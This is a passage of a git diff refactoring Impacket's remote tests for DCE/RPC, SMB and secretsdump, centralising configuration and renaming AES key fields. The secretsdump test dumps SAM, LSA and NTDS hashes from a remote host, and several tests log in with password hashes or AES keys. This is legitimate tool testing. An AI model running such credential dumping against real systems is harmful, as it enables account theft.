tfragment=0, + dceFragment=0, auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True, + doKerberos=False, bind=epm.MSRPC_UUID_PORTMAP): rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(username, password, domain, lm, nt, aesKey, TGT, TGS) + rpctransport.set_credentials(username, password, domain, lm, nt, aes_key, TGT, TGS) rpctransport.set_kerberos(doKerberos, kdcHost=self.machine) rpctransport.set_max_fragment_size(tfragment) @@ -50,8 +56,7 @@ def test_connection(self): dce.disconnect() def test_connectionHashes(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceAuth=False) + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=False) dce.disconnect() def test_dceAuth(self): @@ -65,30 +70,27 @@ def test_dceAuthKerberos(self): dce.disconnect() def test_dceAuthHasHashes(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceAuth=True) + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True) epm.hept_lookup(self.machine) dce.disconnect() def test_dceAuthHasHashesKerberos(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceAuth=True, doKerberos=True) + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True, doKerberos=True) epm.hept_lookup(self.machine) dce.disconnect() def test_dceAuthHasAes128Kerberos(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey128, dceAuth=True, doKerberos=True) + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128, dceAuth=True, doKerberos=True) epm.hept_lookup(self.machine) dce.disconnect() def test_dceAuthHasAes256Kerberos(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey256, dceAuth=True, doKerberos=True) + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256, dceAuth=True, doKerberos=True) epm.hept_lookup(self.machine) dce.disconnect() def test_dceTransportFragmentation(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, tfragment=1, dceAuth=True, doKerberos=False) + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, tfragment=1, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS request['object'] = NULL @@ -99,8 +101,7 @@ def test_dceTransportFragmentation(self): dce.disconnect() def test_dceFragmentation(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=1, dceAuth=True, doKerberos=False) + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS request['object'] = NULL @@ -116,11 +117,10 @@ class dummyCall(NDRCALL): structure = ( ('Name', RPC_UNICODE_STRING), ) - lmhash, nthash = self.hashes.split(':') oldBinding = self.stringBinding self.stringBinding = epm.hept_map(self.machine, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp') print(self.stringBinding) - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=0, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=0, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, dceAuth=True, doKerberos=True, bind=samr.MSRPC_UUID_SAMR) @@ -132,7 +132,7 @@ class dummyCall(NDRCALL): resp = dce.request(request) request = samr.SamrEnumerateDomainsInSamServer() request['ServerHandle'] = resp['ServerHandle'] - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 dce.request(request) try: @@ -146,8 +146,7 @@ class dummyCall(NDRCALL): dce.disconnect() def test_dceFragmentationWINNTPacketIntegrity(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=1, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -159,8 +158,7 @@ def test_dceFragmentationWINNTPacketIntegrity(self): dce.disconnect() def test_dceFragmentationWINNTPacketPrivacy(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=1, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -172,8 +170,7 @@ def test_dceFragmentationWINNTPacketPrivacy(self): dce.disconnect() def test_dceFragmentationKerberosPacketIntegrity(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=1, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -186,8 +183,7 @@ def test_dceFragmentationKerberosPacketIntegrity(self): dce.disconnect() def test_dceFragmentationKerberosPacketPrivacy(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, dceFragment=1, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -226,8 +222,7 @@ def test_KerberosPacketIntegrity(self): dce.disconnect() def test_HashesWINNTPacketIntegrity(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -239,8 +234,7 @@ def test_HashesWINNTPacketIntegrity(self): dce.disconnect() def test_HashesKerberosPacketIntegrity(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -254,7 +248,7 @@ def test_HashesKerberosPacketIntegrity(self): dce.disconnect() def test_Aes128KerberosPacketIntegrity(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey128, + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -269,7 +263,7 @@ def test_Aes128KerberosPacketIntegrity(self): dce.disconnect() def test_Aes256KerberosPacketIntegrity(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey256, + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -327,8 +321,7 @@ def test_KerberosPacketPrivacy(self): dce.disconnect() def test_HashesWINNTPacketPrivacy(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -340,8 +333,7 @@ def test_HashesWINNTPacketPrivacy(self): dce.disconnect() def test_HashesKerberosPacketPrivacy(self): - lmhash, nthash = self.hashes.split(':') - dce = self.connectDCE(self.username, '', self.domain, lmhash, nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, + dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS @@ -355,7 +347,7 @@ def test_HashesKerberosPacketPrivacy(self): dce.disconnect() def test_Aes128KerberosPacketPrivacy(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey128, + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -370,7 +362,7 @@ def test_Aes128KerberosPacketPrivacy(self): dce.disconnect() def test_Aes256KerberosPacketPrivacy(self): - dce = self.connectDCE(self.username, '', self.domain, '', '', self.aesKey256, + dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True) request = epm.ept_lookup() @@ -387,7 +379,7 @@ def test_Aes256KerberosPacketPrivacy(self): def test_AnonWINNTPacketPrivacy(self): # With SMB Transport this will fail with STATUS_ACCESS_DENIED try: - dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,dceAuth=False, doKerberos=False) + dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=False, doKerberos=False) request = epm.ept_lookup() request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS request['object'] = NULL @@ -397,47 +389,27 @@ def test_AnonWINNTPacketPrivacy(self): dce.request(request) dce.disconnect() except Exception as e: - if not (str(e).find('STATUS_ACCESS_DENIED') >=0 and self.stringBinding.find('ncacn_np') >=0): + if not (str(e).find('STATUS_ACCESS_DENIED') >= 0 and self.stringBinding.find('ncacn_np') >= 0): raise -class TCPTransport(DCERPCTests): + +@pytest.mark.remote +class RPCRTTestsTCPTransport(RPCRTTests, unittest.TestCase): + def setUp(self): - DCERPCTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') - self.aesKey256= configFile.get('TCPTransport', 'aesKey256') - self.aesKey128= configFile.get('TCPTransport', 'aesKey128') + super(RPCRTTestsTCPTransport, self).setUp() + self.set_transport_config(aes_keys=True) self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine -class SMBTransport(DCERPCTests): + +@pytest.mark.remote +class RPCRTTestsSMBTransport(RPCRTTests, unittest.TestCase): def setUp(self): # Put specific configuration for target machine with SMB_002 - DCERPCTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey256= configFile.get('SMBTransport', 'aesKey256') - self.aesKey128= configFile.get('SMBTransport', 'aesKey128') + super(RPCRTTestsSMBTransport, self).setUp() + self.set_transport_config(aes_keys=True) self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine + if __name__ == "__main__": - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport)) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_secretsdump.py b/tests/SMB_RPC/test_secretsdump.py index dcf032f6d2..042229ef28 100644 --- a/tests/SMB_RPC/test_secretsdump.py +++ b/tests/SMB_RPC/test_secretsdump.py @@ -1,21 +1,30 @@ -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser -import logging +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import os +import logging +import pytest import unittest +from tests import RemoteTestCase from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes from impacket.smbconnection import SMBConnection + def _print_helper(*args, **kwargs): try: print(args[-1]) except UnicodeError: pass + class DumpSecrets: + def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss self.__remoteName = remoteName @@ -25,7 +34,7 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__domain = domain self.__lmhash = '' self.__nthash = '' - self.__aesKey = options.aesKey + self.__aes_key_128 = options.aes_key_128 self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None @@ -58,7 +67,7 @@ def connect(self): self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aesKey, self.__kdcHost) + self.__nthash, self.__aes_key_128, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) @@ -204,7 +213,7 @@ def dump(self): os.unlink(resumeFile) try: self.cleanup() - except: + except Exception: pass def cleanup(self): @@ -223,7 +232,7 @@ def cleanup(self): raise class Options(object): - aesKey=None + aes_key_128 = None bootkey=None dc_ip=None debug=False @@ -247,7 +256,9 @@ class Options(object): use_vss=False user_status=False -class SecretsDumpTests(unittest.TestCase): + +class SecretsDumpTests(RemoteTestCase): + def test_VSS_History(self): options = Options() options.target_ip = self.machine @@ -288,20 +299,16 @@ def test_DRSUAPI(self): dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options) dumper.dump() -class Tests(SecretsDumpTests): + +@pytest.mark.remote +class Tests(SecretsDumpTests, unittest.TestCase): + def setUp(self): - SecretsDumpTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') + super(Tests, self).setUp() + self.set_transport_config(aes_keys=True) + if __name__ == "__main__": suite = unittest.TestLoader().loadTestsFromTestCase(Tests) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(defaultTest='suite') + diff --git a/tests/SMB_RPC/test_smb.py b/tests/SMB_RPC/test_smb.py index 986c548f14..f4d88cd26d 100644 --- a/tests/SMB_RPC/test_smb.py +++ b/tests/SMB_RPC/test_smb.py @@ -1,15 +1,20 @@ -import unittest +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import os +import errno import socket import select -import errno -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +import pytest +import unittest +from tests import RemoteTestCase -from binascii import unhexlify from impacket.smbconnection import SMBConnection, smb from impacket.smb3structs import SMB2_DIALECT_002,SMB2_DIALECT_21, SMB2_DIALECT_30 from impacket import nt_errors, nmb @@ -22,16 +27,20 @@ # Usually running all the tests against a Windows 7 except SMB3 # would do the trick. # ToDo: -# [ ] Add the rest of SMBConnection public methods +# [ ] Add the rest of SMBConnection public methods + + +class SMBTests(RemoteTestCase): + + dialects = None -class SMBTests(unittest.TestCase): def create_connection(self): if self.dialects == smb.SMB_DIALECT: # Only for SMB1 let's do manualNego - s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort, manualNegotiate=True) + s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort, manualNegotiate=True) s.negotiateSession(self.dialects, flags2=self.flags2) else: - s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort) + s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort) return s def test_aliasconnection(self): @@ -50,18 +59,16 @@ def test_reconnect(self): smb.logoff() def test_reconnectKerberosHashes(self): - lmhash, nthash = self.hashes.split(':') smb = self.create_connection() - smb.kerberosLogin(self.username, '', self.domain, lmhash, nthash, '') + smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '') credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None) ) + self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None)) UNC = '\\\\%s\\%s' % (self.machine, self.share) smb.connectTree(UNC) smb.logoff() smb.reconnect() credentials = smb.getCredentials() - self.assertTrue( - credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None)) + self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None)) UNC = '\\\\%s\\%s' % (self.machine, self.share) smb.connectTree(UNC) smb.logoff() @@ -77,7 +84,7 @@ def test_connection(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None)) + self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None)) smb.logoff() del(smb) @@ -85,9 +92,9 @@ def test_close_connection(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) smb_connection_socket = smb.getSMBServer().get_socket() - self.assertTrue(self.__is_socket_opened(smb_connection_socket) == True) + self.assertTrue(self.__is_socket_opened(smb_connection_socket)) smb.close() - self.assertTrue(self.__is_socket_opened(smb_connection_socket) == False) + self.assertFalse(self.__is_socket_opened(smb_connection_socket)) del(smb) def test_manualNego(self): @@ -95,24 +102,22 @@ def test_manualNego(self): smb.negotiateSession(self.dialects) smb.login(self.username, self.password, self.domain) credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None)) + self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None)) smb.logoff() del(smb) def test_loginHashes(self): - lmhash, nthash = self.hashes.split(':') smb = self.create_connection() - smb.login(self.username, '', self.domain, lmhash, nthash) + smb.login(self.username, '', self.domain, self.lmhash, self.nthash) credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None) ) + self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None)) smb.logoff() def test_loginKerberosHashes(self): - lmhash, nthash = self.hashes.split(':') smb = self.create_connection() - smb.kerberosLogin(self.username, '', self.domain, lmhash, nthash, '') + smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '') credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, '', self.domain, unhexlify(lmhash), unhexlify(nthash), '', None, None) ) + self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None)) UNC = '\\\\%s\\%s' % (self.machine, self.share) smb.connectTree(UNC) smb.logoff() @@ -121,16 +126,16 @@ def test_loginKerberos(self): smb = self.create_connection() smb.kerberosLogin(self.username, self.password, self.domain, '', '', '') credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, self.password, self.domain, '','','', None, None) ) + self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None)) UNC = '\\\\%s\\%s' % (self.machine, self.share) smb.connectTree(UNC) smb.logoff() def test_loginKerberosAES(self): smb = self.create_connection() - smb.kerberosLogin(self.username, '', self.domain, '', '', self.aesKey) + smb.kerberosLogin(self.username, '', self.domain, '', '', self.aes_key_128) credentials = smb.getCredentials() - self.assertTrue( credentials == (self.username, '', self.domain, '','',self.aesKey, None, None) ) + self.assertEqual(credentials, (self.username, '', self.domain, '', '', self.aes_key_128, None, None)) UNC = '\\\\%s\\%s' % (self.machine, self.share) smb.connectTree(UNC) smb.logoff() @@ -164,9 +169,9 @@ def test_readwriteFile(self): while remaining>0: data += smb.readFile(tid,fid, offset, remaining) remaining = 65535 - len(data) - self.assertTrue(len(data) == 65535) - self.assertTrue(data == b"A"*65535) - smb.closeFile(tid,fid) + self.assertEqual(len(data), 65535) + self.assertEqual(data, b"A" * 65535) + smb.closeFile(tid, fid) fid = smb.openFile(tid, self.file) smb.closeFile(tid, fid) smb.deleteFile(self.share, self.file) @@ -206,35 +211,35 @@ def test_getServerName(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) serverName = smb.getServerName() - self.assertTrue( serverName.upper() == self.serverName.upper() ) + self.assertEqual(serverName.upper(), self.serverName.upper()) smb.logoff() def test_getServerDNSDomainName(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) serverDomain = smb.getServerDNSDomainName() - self.assertTrue( serverDomain.upper() == self.domain.upper()) + self.assertEqual(serverDomain.upper(), self.domain.upper()) smb.logoff() def test_getServerDomain(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) serverDomain = smb.getServerDomain() - self.assertTrue( serverDomain.upper() == self.domain.upper().split('.')[0]) + self.assertEqual(serverDomain.upper(), self.domain.upper().split('.')[0]) smb.logoff() def test_getRemoteHost(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) remoteHost = smb.getRemoteHost() - self.assertTrue( remoteHost == self.machine) + self.assertEqual(remoteHost, self.machine) smb.logoff() def test_getDialect(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) dialect = smb.getDialect() - self.assertTrue( dialect == self.dialects) + self.assertEqual(dialect, self.dialects) smb.logoff() def test_uploadDownload(self): @@ -260,7 +265,7 @@ def test_getSessionKey(self): smb = self.create_connection() smb.login(self.username, self.password, self.domain) smb.getSessionKey() - smb.logoff + smb.logoff() def __is_socket_opened(self, s): # We assume that if socket is selectable, it's open; and if it were not, it's closed. @@ -275,134 +280,61 @@ def __is_socket_opened(self, s): is_socket_opened = False return is_socket_opened -class SMB1Tests(SMBTests): + +@pytest.mark.remote +class SMB1Tests(SMBTests, unittest.TestCase): + def setUp(self): - SMBTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' - self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES + super(SMB1Tests, self).setUp() + self.set_transport_config(aes_keys=True) + self.share = 'C$' + self.file = '/TEST' + self.directory = '/BETO' + self.upload = 'impacket/nt_errors.py' + self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES self.dialects = smb.SMB_DIALECT self.sessPort = nmb.SMB_SESSION_PORT -class SMB1TestsNetBIOS(SMBTests): + +@pytest.mark.remote +class SMB1TestsNetBIOS(SMB1Tests): + def setUp(self): - SMBTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' - self.flags2 = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES - self.dialects = smb.SMB_DIALECT + super(SMB1TestsNetBIOS, self).setUp() self.sessPort = nmb.NETBIOS_SESSION_PORT -class SMB1TestsUnicode(SMBTests): + +@pytest.mark.remote +class SMB1TestsUnicode(SMB1Tests): + def setUp(self): - SMBTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' - self.flags2 = smb.SMB.FLAGS2_UNICODE | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES - self.dialects = smb.SMB_DIALECT - self.sessPort = nmb.SMB_SESSION_PORT + super(SMB1TestsUnicode, self).setUp() + self.flags2 = smb.SMB.FLAGS2_UNICODE | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES + + +@pytest.mark.remote +class SMB002Tests(SMB1Tests): -class SMB002Tests(SMBTests): def setUp(self): - # Put specific configuration for target machine with SMB_002 - SMBTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' + super(SMB002Tests, self).setUp() self.dialects = SMB2_DIALECT_002 - self.sessPort = nmb.SMB_SESSION_PORT -class SMB21Tests(SMBTests): + +@pytest.mark.remote +class SMB21Tests(SMB1Tests): + def setUp(self): - # Put specific configuration for target machine with SMB 2.1 - SMBTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' + super(SMB21Tests, self).setUp() self.dialects = SMB2_DIALECT_21 - self.sessPort = nmb.SMB_SESSION_PORT -class SMB3Tests(SMBTests): + +@pytest.mark.remote +class SMB3Tests(SMB1Tests): + def setUp(self): - # Put specific configuration for target machine with SMB3 - SMBTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.aesKey = configFile.get('SMBTransport', 'aesKey128') - self.share = 'C$' - self.file = '/TEST' - self.directory= '/BETO' - self.upload = '../../impacket/nt_errors.py' + super(SMB3Tests, self).setUp() self.dialects = SMB2_DIALECT_30 - self.sessPort = nmb.SMB_SESSION_PORT + if __name__ == "__main__": - suite = unittest.TestLoader().loadTestsFromTestCase(SMB1Tests) - 